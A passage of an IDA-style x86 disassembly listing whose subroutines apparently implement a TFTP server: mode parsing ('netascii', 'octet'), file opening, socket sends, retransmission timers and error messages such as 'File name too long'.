mov eax, [esp+8+arg_0]
mov [eax], ecx
mov dword ptr [eax+4], offset dword_1006098
mov [ecx+4], eax
mov dword_1006098, eax
call ds:dword_100104C
push 1
pop eax
pop esi
retn 4
sub_100287F endp
; =============== S U B R O U T I N E =======================================
sub_10028B5 proc near ; CODE XREF: sub_1002A3D+Cp
; sub_1002EC8+8p ...
arg_0 = dword ptr 4
push ebx
mov ebx, ds:dword_1001058
push esi
push edi
mov edi, offset dword_1006080
push edi
call ebx ; dword_1001058
mov eax, dword_1006098
mov ecx, offset dword_1006098
loc_10028D0: ; CODE XREF: sub_10028B5+2Dj
cmp eax, ecx
jz short loc_10028F2
mov edx, [eax+8]
lea esi, [eax-18h]
cmp edx, [esp+0Ch+arg_0]
jz short loc_10028E4
mov eax, [eax]
jmp short loc_10028D0
; ---------------------------------------------------------------------------
loc_10028E4: ; CODE XREF: sub_10028B5+29j
push esi
call ebx ; dword_1001058
push edi
call ds:dword_100104C
mov eax, esi
jmp short loc_10028FB
; ---------------------------------------------------------------------------
loc_10028F2: ; CODE XREF: sub_10028B5+1Dj
push edi
call ds:dword_100104C
xor eax, eax
loc_10028FB: ; CODE XREF: sub_10028B5+3Bj
pop edi
pop esi
pop ebx
retn 4
sub_10028B5 endp
; =============== S U B R O U T I N E =======================================
sub_1002901 proc near ; CODE XREF: sub_100297A+Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+20h]
cmp eax, 0FFFFFFFFh
jz short loc_1002915
push eax
call ds:dword_100111C
loc_1002915: ; CODE XREF: sub_1002901+Bj
mov eax, [esi+10004h]
test eax, eax
jz short loc_100292E
push 0
push eax
push dword_10060A0
call ds:dword_1001158
loc_100292E: ; CODE XREF: sub_1002901+1Cj
push 0
push dword ptr [esi+0FFFCh]
call ds:dword_1001168
push dword ptr [esi+0FFF8h]
call ds:dword_1001054
push esi
call ds:dword_1001028
pop esi
retn 4
sub_1002901 endp
; =============== S U B R O U T I N E =======================================
sub_1002953 proc near ; CODE XREF: sub_100297A+2Fp
; sub_100297A+37p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+1002Ch]
cmp eax, 0FFFFFFFFh
jz short loc_100296B
push eax
call ds:dword_100108C
pop ecx
loc_100296B: ; CODE XREF: sub_1002953+Ej
push esi
call ds:dword_10010A0
pop ecx
pop esi
retn 4
sub_1002953 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_100297A proc near ; CODE XREF: sub_10029BA+55p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_10029B6
push esi
call sub_1002901
mov eax, [esi+24h]
dec eax
jz short loc_10029B0
dec eax
jz short loc_10029A8
dec eax
jz short loc_10029A0
dec eax
jnz short loc_10029B6
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A0: ; CODE XREF: sub_100297A+19j
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A8: ; CODE XREF: sub_100297A+16j
push esi
call sub_1002953
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029B0: ; CODE XREF: sub_100297A+13j
push esi
call sub_1002953
loc_10029B6: ; CODE XREF: sub_100297A+7j
; sub_100297A+1Cj ...
pop esi
retn 4
sub_100297A endp
; =============== S U B R O U T I N E =======================================
sub_10029BA proc near ; DATA XREF: sub_10018DB+98o
push ebx
mov ebx, ds:dword_1001058
push esi
push offset dword_1006080
call ebx ; dword_1001058
mov esi, dword_1006098
cmp esi, offset dword_1006098
jz short loc_1002A28
push edi
push ebp
loc_10029D9: ; CODE XREF: sub_10029BA+6Aj
lea edi, [esi-18h]
push edi
call ebx ; dword_1001058
mov ebp, [esi]
inc dword ptr [edi+10008h]
cmp dword ptr [edi+10008h], 4
lea eax, [edi+10008h]
push edi
jb short loc_1002A16
call ebx ; dword_1001058
mov eax, [esi]
mov esi, [esi+4]
mov [esi], eax
mov [eax+4], esi
mov ax, [edi+2Ah]
push eax
call ds:dword_1001104
push edi
call sub_100297A
jmp short loc_1002A1C
; ---------------------------------------------------------------------------
loc_1002A16: ; CODE XREF: sub_10029BA+3Bj
call ds:dword_100104C
loc_1002A1C: ; CODE XREF: sub_10029BA+5Aj
cmp ebp, offset dword_1006098
mov esi, ebp
jnz short loc_10029D9
pop ebp
pop edi
loc_1002A28: ; CODE XREF: sub_10029BA+1Bj
push offset dword_1006080
call ds:dword_100104C
call sub_1001A1F
pop esi
pop ebx
retn 8
sub_10029BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002A3D proc near ; DATA XREF: sub_1002F31+341o
; sub_100333A+32Co
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_10028B5
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jz loc_1002B57
mov eax, [esi+1000Ch]
cmp eax, 0Ah
jnb loc_1002B0B
cmp eax, 5
jbe short loc_1002A8E
lea eax, [ebp+var_10]
push eax
call ds:dword_1001024
mov ax, [esi+2Ah]
push eax
call ds:dword_100110C
mov ax, [esi+3Ah]
push eax
call ds:dword_1001104
loc_1002A8E: ; CODE XREF: sub_1002A3D+2Fj
lea eax, [esi+28h]
push 10h
push eax
push ebx
push dword ptr [esi+10020h]
lea eax, [esi+38h]
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_1002AB3
call ds:dword_10010F8
loc_1002AB3: ; CODE XREF: sub_1002A3D+6Ej
mov edi, [esi+10004h]
inc dword ptr [esi+1000Ch]
cmp edi, ebx
jz loc_1002B4C
cmp [esi+10028h], ebx
jnz short loc_1002AEA
mov eax, [esi+10000h]
lea ecx, [esi+10000h]
shl eax, 1
mov edx, 2710h
mov [ecx], eax
cmp eax, edx
jbe short loc_1002AEA
mov [ecx], edx
loc_1002AEA: ; CODE XREF: sub_1002A3D+90j
; sub_1002A3D+A9j
mov eax, [esi+10000h]
push eax
push eax
push edi
push dword_10060A0
call ds:dword_1001154
cmp eax, ebx
jz short loc_1002B4C
call ds:dword_1001038
jmp short loc_1002B4C
; ---------------------------------------------------------------------------
loc_1002B0B: ; CODE XREF: sub_1002A3D+26j
cmp esi, ebx
jz short loc_1002B57
push offset aTimeout ; "Timeout"
push ebx
push dword ptr [esi+20h]
lea eax, [esi+28h]
push ebx
push eax
call sub_100230A
mov eax, [esi+10004h]
lea edi, [esi+10004h]
cmp eax, ebx
jz short loc_1002B40
push ebx
push eax
push dword_10060A0
call ds:dword_1001158
loc_1002B40: ; CODE XREF: sub_1002A3D+F3j
mov [edi], ebx
mov dword ptr [esi+10008h], 4
loc_1002B4C: ; CODE XREF: sub_1002A3D+84j
; sub_1002A3D+C4j ...
cmp esi, ebx
jz short loc_1002B57
push esi
call ds:dword_100104C
loc_1002B57: ; CODE XREF: sub_1002A3D+17j
; sub_1002A3D+D0j ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002A3D endp
; =============== S U B R O U T I N E =======================================
sub_1002B5E proc near ; CODE XREF: sub_1002EC8+3Dp
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
mov ebx, ds:dword_100110C
push ebp
push esi
mov esi, [esp+10h+arg_0]
push edi
mov edi, [esp+14h+arg_4]
xor ebp, ebp
mov eax, [esi+10018h]
push 4
mov [esp+18h+var_4], ebp
mov [edi+20h], eax
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002BA6
mov ax, [esi+10014h]
push eax
call ebx ; dword_100110C
cmp [edi+36h], ax
jnz short loc_1002BA6
and dword ptr [esi+1000Ch], 0
push 1
pop ebp
jmp short loc_1002BCE
; ---------------------------------------------------------------------------
loc_1002BA6: ; CODE XREF: sub_1002B5E+2Aj
; sub_1002B5E+3Aj
mov ax, [edi+36h]
push eax
call ebx ; dword_100110C
mov ax, [edi+34h]
push eax
call ds:dword_1001104
push 4
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002BCE
mov ax, [esi+10014h]
dec ax
push eax
call ebx ; dword_100110C
loc_1002BCE: ; CODE XREF: sub_1002B5E+46j
; sub_1002B5E+62j
test ebp, ebp
jz loc_1002C96
cmp dword ptr [esi+10030h], 0
jz short loc_1002C1C
mov eax, [esi+10004h]
lea edi, [esi+10004h]
test eax, eax
jz short loc_1002BFE
push 0
push eax
push dword_10060A0
call ds:dword_1001158
loc_1002BFE: ; CODE XREF: sub_1002B5E+8Fj
and dword ptr [edi], 0
mov dword ptr [esi+10008h], 4
loc_1002C0B: ; CODE XREF: sub_1002B5E+DBj
; sub_1002B5E+13Ej ...
push esi
call ds:dword_100104C
xor eax, eax
loc_1002C14: ; CODE XREF: sub_1002B5E+183j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1002C1C: ; CODE XREF: sub_1002B5E+7Fj
inc word ptr [esi+10014h]
push edi
push esi
call sub_10027E1
mov ebp, eax
xor eax, eax
cmp ebp, eax
jnz short loc_1002C3B
mov ax, [edi+0Eh]
push eax
call ebx ; dword_100110C
jmp short loc_1002C0B
; ---------------------------------------------------------------------------
loc_1002C3B: ; CODE XREF: sub_1002B5E+D2j
cmp [esi+10028h], eax
mov [esi+1000Ch], eax
mov [esi+10008h], eax
jnz short loc_1002C59
mov dword ptr [esi+10000h], 3E8h
loc_1002C59: ; CODE XREF: sub_1002B5E+EFj
mov ecx, [esi+10004h]
cmp ecx, eax
jz short loc_1002C78
mov eax, [esi+10000h]
push eax
push eax
push ecx
push dword_10060A0
call ds:dword_1001154
loc_1002C78: ; CODE XREF: sub_1002B5E+103j
mov eax, [esi+1001Ch]
cmp eax, [edi+20h]
jnb short loc_1002C9A
mov ax, [edi+0Eh]
push eax
call ebx ; dword_100110C
mov dword ptr [esi+10030h], 1
jmp short loc_1002C9A
; ---------------------------------------------------------------------------
loc_1002C96: ; CODE XREF: sub_1002B5E+72j
mov ebp, [esp+14h+var_4]
loc_1002C9A: ; CODE XREF: sub_1002B5E+123j
; sub_1002B5E+136j
test ebp, ebp
jz loc_1002C0B
mov ax, [edi+0Eh]
push eax
call ebx ; dword_100110C
add edi, 0Ch
push 10h
push edi
push 0
push dword ptr [esi+10020h]
lea eax, [esi+38h]
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz loc_1002C0B
call ds:dword_10010F8
test esi, esi
jz short loc_1002CDE
push esi
call ds:dword_100104C
loc_1002CDE: ; CODE XREF: sub_1002B5E+177j
push 1
pop eax
jmp loc_1002C14
sub_1002B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002CE6 proc near ; CODE XREF: sub_1002EC8+34p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, ds:dword_100110C
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
push 3
mov eax, [esi+10018h]
mov [edi+20h], eax
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002D3A
mov ax, [esi+10014h]
inc ax
push eax
call ebx ; dword_100110C
cmp [edi+36h], ax
jnz short loc_1002D3A
inc word ptr [esi+10014h]
xor ebx, ebx
mov [ebp+var_4], 1
mov [esi+10008h], ebx
jmp short loc_1002D9D
; ---------------------------------------------------------------------------
loc_1002D3A: ; CODE XREF: sub_1002CE6+28j
; sub_1002CE6+3Aj
push 3
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002D9B
mov ax, [esi+10014h]
push eax
call ebx ; dword_100110C
cmp [edi+36h], ax
jnz short loc_1002D9B
mov ebx, ds:dword_1001104
push 4
call ebx ; dword_1001104
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax
call ebx ; dword_1001104
add edi, 0Ch
push 10h
mov [esi+3Ah], ax
push edi
push 0
lea eax, [esi+38h]
push 4
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz loc_1002EB3
call ds:dword_10010F8
jmp loc_1002EB3
; ---------------------------------------------------------------------------
loc_1002D9B: ; CODE XREF: sub_1002CE6+5Cj
; sub_1002CE6+6Cj
xor ebx, ebx
loc_1002D9D: ; CODE XREF: sub_1002CE6+52j
cmp [ebp+var_4], ebx
jz short loc_1002DE4
lea eax, [ebp+arg_4]
push eax
mov eax, [edi+2Ch]
push dword ptr [esi+10030h]
sub eax, 4
push eax
lea eax, [edi+38h]
push eax
push dword ptr [esi+1002Ch]
call sub_100373A
cmp [ebp+var_4], ebx
mov [ebp+arg_0], eax
jz short loc_1002DE4
cmp eax, ebx
jge short loc_1002DF7
push ebx
push 3
push dword ptr [edi+8]
lea eax, [edi+0FFF1h]
add edi, 0Ch
push eax
push edi
call sub_100230A
loc_1002DE4: ; CODE XREF: sub_1002CE6+BAj
; sub_1002CE6+E2j
cmp esi, ebx
jz short loc_1002DEF
push esi
call ds:dword_100104C
loc_1002DEF: ; CODE XREF: sub_1002CE6+100j
push 1
pop eax
jmp loc_1002EBC
; ---------------------------------------------------------------------------
loc_1002DF7: ; CODE XREF: sub_1002CE6+E6j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
ja loc_1002EB3
mov ebx, ds:dword_1001104
push 4
call ebx ; dword_1001104
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax
call ebx ; dword_1001104
mov [esi+3Ah], ax
lea eax, [edi+0Ch]
push 10h
xor ebx, ebx
push eax
push ebx
lea eax, [esi+38h]
push 4
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
mov [ebp+arg_0], eax
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002E74
cmp [esi+10028h], ebx
mov [esi+1000Ch], ebx
jnz short loc_1002E5F
mov dword ptr [esi+10000h], 3E8h
loc_1002E5F: ; CODE XREF: sub_1002CE6+16Dj
mov ecx, [esi+10000h]
push ecx
push ecx
push eax
push dword_10060A0
call ds:dword_1001154
loc_1002E74: ; CODE XREF: sub_1002CE6+15Fj
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_1002E80
call ds:dword_10010F8
loc_1002E80: ; CODE XREF: sub_1002CE6+192j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
jnb short loc_1002EB3
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002EA3
push ebx
push eax
push dword_10060A0
call ds:dword_1001158
loc_1002EA3: ; CODE XREF: sub_1002CE6+1ADj
mov [esi+10004h], ebx
mov dword ptr [esi+10008h], 4
loc_1002EB3: ; CODE XREF: sub_1002CE6+A4j
; sub_1002CE6+B0j ...
push esi
call ds:dword_100104C
xor eax, eax
loc_1002EBC: ; CODE XREF: sub_1002CE6+10Cj
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002CE6 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC3 proc near ; CODE XREF: sub_1002EC8+22p
; sub_1002EC8+2Bp
xor eax, eax
retn 8
sub_1002EC3 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC8 proc near ; CODE XREF: sub_1001A91+254p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+8]
call sub_10028B5
test eax, eax
jz short loc_1002F0A
mov ecx, [eax+24h]
dec ecx
jz short loc_1002F03
dec ecx
jz short loc_1002EFA
dec ecx
jz short loc_1002EF1
dec ecx
jnz short loc_1002F0A
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EF1: ; CODE XREF: sub_1002EC8+1Bj
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EFA: ; CODE XREF: sub_1002EC8+18j
push esi
push eax
call sub_1002CE6
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002F03: ; CODE XREF: sub_1002EC8+15j
push esi
push eax
call sub_1002B5E
loc_1002F0A: ; CODE XREF: sub_1002EC8+Fj
; sub_1002EC8+1Ej ...
pop esi
retn 4
sub_1002EC8 endp
; =============== S U B R O U T I N E =======================================
sub_1002F0E proc near ; CODE XREF: sub_1002F31+20p
; sub_100333A+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
jbe short loc_1002F27
loc_1002F16: ; CODE XREF: sub_1002F0E+17j
mov ecx, [esp+arg_0]
cmp byte ptr [eax+ecx], 0
jz short loc_1002F2C
inc eax
cmp eax, [esp+arg_4]
jb short loc_1002F16
loc_1002F27: ; CODE XREF: sub_1002F0E+6j
xor eax, eax
locret_1002F29: ; CODE XREF: sub_1002F0E+21j
retn 8
; ---------------------------------------------------------------------------
loc_1002F2C: ; CODE XREF: sub_1002F0E+10j
push 1
pop eax
jmp short locret_1002F29
sub_1002F0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002F31 proc near ; CODE XREF: sub_1001A91+223p
; DATA XREF: sub_1001A91+1FCo
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
and [ebp+var_10], 0
and [ebp+var_14], 0
push esi
mov esi, [ebp+arg_0]
push edi
push 0FFBAh
lea ebx, [esi+36h]
push ebx
mov [ebp+var_18], ebx
call sub_1002F0E
test eax, eax
jz loc_100330F
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
push 10034h
repne scasb
not ecx
dec ecx
lea eax, [ecx+ebx+1]
mov [ebp+var_4], eax
call ds:dword_1001094
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003331
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
rep stosd
push dword ptr [esi+10h]
call ds:dword_1001120
mov [ebp+var_8], eax
mov ax, [esi+0Eh]
push eax
call ds:dword_1001104
mov edi, [ebp+var_4]
mov [ebp+var_C], edi
mov al, [edi]
test al, al
jz short loc_1002FCD
loc_1002FB5: ; CODE XREF: sub_1002F31+97j
movsx eax, al
push eax
call ds:dword_1001150
mov [edi], al
mov al, [edi+1]
inc edi
pop ecx
test al, al
jnz short loc_1002FB5
mov [ebp+var_C], edi
loc_1002FCD: ; CODE XREF: sub_1002F31+82j
mov edi, [ebp+var_4]
mov eax, offset aNetascii ; "netascii"
loc_1002FD5: ; CODE XREF: sub_1002F31+C0j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_1002FF7
test cl, cl
jz short loc_1002FF3
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_1002FF7
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1002FD5
loc_1002FF3: ; CODE XREF: sub_1002F31+AEj
xor eax, eax
jmp short loc_1002FFC
; ---------------------------------------------------------------------------
loc_1002FF7: ; CODE XREF: sub_1002F31+AAj
; sub_1002F31+B8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_1002FFC: ; CODE XREF: sub_1002F31+C4j
test eax, eax
jz short loc_1003037
mov edi, [ebp+var_4]
mov eax, offset aOctet ; "octet"
loc_1003008: ; CODE XREF: sub_1002F31+F3j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100302A
test cl, cl
jz short loc_1003026
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100302A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1003008
loc_1003026: ; CODE XREF: sub_1002F31+E1j
xor eax, eax
jmp short loc_100302F
; ---------------------------------------------------------------------------
loc_100302A: ; CODE XREF: sub_1002F31+DDj
; sub_1002F31+EBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100302F: ; CODE XREF: sub_1002F31+F7j
test eax, eax
jnz loc_10032F6
loc_1003037: ; CODE XREF: sub_1002F31+CDj
mov edi, [ebp+var_18]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esi+1FFADh]
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+var_4], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_1003071
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10030CB
; ---------------------------------------------------------------------------
loc_1003071: ; CODE XREF: sub_1002F31+137j
push [ebp+var_8]
push offset dword_1005CE8
call sub_10039D6
test eax, eax
jnz short loc_1003093
push [ebp+var_8]
push offset dword_1005D20
call sub_10039D6
test eax, eax
jz short loc_10030A4
loc_1003093: ; CODE XREF: sub_1002F31+14Fj
push [ebp+var_4]
push offset dword_1005D58
call sub_10039D6
test eax, eax
jnz short loc_10030B0
loc_10030A4: ; CODE XREF: sub_1002F31+160j
call ds:dword_10010AC
push 0
push 2
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030B0: ; CODE XREF: sub_1002F31+171j
push (offset dword_1005E07+1)
push 0FFBCh
push [ebp+var_4]
call sub_100273D
test eax, eax
jnz short loc_10030CF
push offset aFileNameTooLon ; "File name too long"
loc_10030CB: ; CODE XREF: sub_1002F31+13Ej
push 0
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030CF: ; CODE XREF: sub_1002F31+193j
push 8000h
push [ebp+var_4]
call ds:dword_10010E4
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebx+1002Ch], eax
jnz short loc_1003116
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
call esi ; dword_10010AC
push 0
push 1
loc_1003100: ; CODE XREF: sub_1002F31+17Dj
; sub_1002F31+19Cj
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
jmp loc_1003308
; ---------------------------------------------------------------------------
loc_1003116: ; CODE XREF: sub_1002F31+1B7j
mov edi, ds:dword_1001088
push 2
push 0
push eax
call edi ; dword_1001088
mov esi, [ebp+arg_0]
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_1003140
push 0
push 0
mov [esi+24h], eax
push dword ptr [ebx+1002Ch]
call edi ; dword_1001088
add esp, 0Ch
loc_1003140: ; CODE XREF: sub_1002F31+1FBj
cmp eax, 0FFFFFFFFh
jnz short loc_1003159
mov edi, ds:dword_10010AC
call edi ; dword_10010AC
call edi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
jmp short loc_1003197
; ---------------------------------------------------------------------------
loc_1003159: ; CODE XREF: sub_1002F31+212j
push 0
push 2
push 2
call ds:dword_100112C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz short loc_1003191
mov eax, [esi+1Ch]
and [ebp+var_26], 0
mov [ebp+var_24], eax
lea eax, [ebp+var_28]
push 10h
push eax
push edi
mov [ebp+var_28], 2
call ds:dword_1001124
test eax, eax
jz short loc_10031A3
loc_1003191: ; CODE XREF: sub_1002F31+23Cj
call ds:dword_10010F8
loc_1003197: ; CODE XREF: sub_1002F31+226j
push offset aInsufficientRe ; "Insufficient resources"
push 0
jmp loc_10032FA
; ---------------------------------------------------------------------------
loc_10031A3: ; CODE XREF: sub_1002F31+25Ej
push ebx
mov [esi+8], edi
call ds:dword_1001044
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+var_8], esi
movsd
movsd
movsd
movsd
xor edi, edi
push edi
push edi
push edi
push edi
call ds:dword_1001040
cmp eax, edi
mov [ebx+0FFF8h], eax
jz short loc_10031E8
push 2
push eax
push [ebp+var_4]
call sub_100188E
cmp eax, edi
mov [ebx+0FFFCh], eax
jnz short loc_10031F3
loc_10031E8: ; CODE XREF: sub_1002F31+2A0j
call ds:dword_1001038
jmp loc_1003312
; ---------------------------------------------------------------------------
loc_10031F3: ; CODE XREF: sub_1002F31+2B5j
add ebx, 18h
push ebx
call sub_100287F
push 1
pop esi
push [ebp+var_4]
mov [ebp+var_14], esi
call sub_10028B5
mov ebx, eax
cmp ebx, edi
jz loc_1003312
lea edi, [ebx+10028h]
lea eax, [ebx+38h]
push edi
push eax
lea eax, [ebx+10024h]
mov [ebp+var_10], esi
push eax
mov eax, [ebp+var_C]
push esi
mov esi, [ebp+arg_0]
inc eax
push eax
push esi
call sub_10023D8
test eax, eax
jnz loc_1003312
cmp [edi], eax
jz short loc_1003255
mov eax, [esi+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_100325F
; ---------------------------------------------------------------------------
loc_1003255: ; CODE XREF: sub_1002F31+311j
mov dword ptr [ebx+10000h], 3E8h
loc_100325F: ; CODE XREF: sub_1002F31+322j
mov eax, [ebx+10000h]
push 0
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:dword_1001178
push 1
pop edi
mov [ebx+24h], edi
mov eax, [esi+20h]
push esi
push ebx
mov [ebx+10018h], eax
mov [ebx+10014h], di
call sub_10027E1
push 10h
xor ecx, ecx
push [ebp+var_8]
cmp eax, ecx
mov [ebx+1000Ch], ecx
push ecx
push dword ptr [ebx+10020h]
jz short loc_10032D9
lea eax, [ebx+38h]
push eax
push [ebp+var_4]
call ds:dword_1001130
mov ecx, [ebx+1001Ch]
cmp ecx, [esi+20h]
jnb short loc_10032E9
mov [ebx+10030h], edi
jmp short loc_10032E9
; ---------------------------------------------------------------------------
loc_10032D9: ; CODE XREF: sub_1002F31+386j
add esi, 0FFF1h
push esi
push [ebp+var_4]
call ds:dword_1001130
loc_10032E9: ; CODE XREF: sub_1002F31+39Ej
; sub_1002F31+3A6j
cmp eax, 0FFFFFFFFh
jnz short loc_1003312
call ds:dword_10010F8
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_10032F6: ; CODE XREF: sub_1002F31+100j
push 0
push 4
loc_10032FA: ; CODE XREF: sub_1002F31+26Dj
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
loc_1003308: ; CODE XREF: sub_1002F31+1E0j
call sub_100230A
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_100330F: ; CODE XREF: sub_1002F31+27j
mov ebx, [ebp+arg_0]
loc_1003312: ; CODE XREF: sub_1002F31+2BDj
; sub_1002F31+2DDj ...
test ebx, ebx
jz short loc_1003331
cmp [ebp+var_10], 0
jz short loc_1003323
push ebx
call ds:dword_100104C
loc_1003323: ; CODE XREF: sub_1002F31+3E9j
cmp [ebp+var_14], 0
jnz short loc_1003331
push ebx
call ds:dword_10010A0
pop ecx
loc_1003331: ; CODE XREF: sub_1002F31+50j
; sub_1002F31+3E3j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_1002F31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100333A proc near ; DATA XREF: sub_1001A91+20Fo
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
and [ebp+var_10], 0
and [ebp+var_14], 0
push ebx
push esi
push edi
push 10034h
call ds:dword_1001094
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003731
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
push 0FFBAh
rep stosd
mov eax, [ebp+arg_0]
lea esi, [eax+36h]
push esi
mov [ebp+var_4], esi
call sub_1002F0E
test eax, eax
jz loc_1003712
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebp+arg_0]
not ecx
push dword ptr [edi+10h]
dec ecx
lea esi, [ecx+esi+1]
call ds:dword_1001120
mov [ebp+var_18], eax
mov ax, [edi+0Eh]
push eax
call ds:dword_1001104
cmp byte ptr [esi], 0
mov edi, esi
mov [ebp+var_C], edi
jz short loc_10033E1
loc_10033BC: ; CODE XREF: sub_100333A+A2j
movsx eax, byte ptr [edi]
push eax
call ds:dword_100114C
test eax, eax
movsx eax, byte ptr [edi]
pop ecx
jz short loc_10033D6
push eax
call ds:dword_1001150
pop ecx
loc_10033D6: ; CODE XREF: sub_100333A+92j
mov [edi], al
inc edi
cmp byte ptr [edi], 0
jnz short loc_10033BC
mov [ebp+var_C], edi
loc_10033E1: ; CODE XREF: sub_100333A+80j
mov eax, offset aNetascii ; "netascii"
mov edi, esi
loc_10033E8: ; CODE XREF: sub_100333A+CAj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100340A
test cl, cl
jz short loc_1003406
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100340A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_10033E8
loc_1003406: ; CODE XREF: sub_100333A+B8j
xor eax, eax
jmp short loc_100340F
; ---------------------------------------------------------------------------
loc_100340A: ; CODE XREF: sub_100333A+B4j
; sub_100333A+C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100340F: ; CODE XREF: sub_100333A+CEj
test eax, eax
jnz short loc_100341F
mov dword ptr [ebx+10030h], 4000h
jmp short loc_100345D
; ---------------------------------------------------------------------------
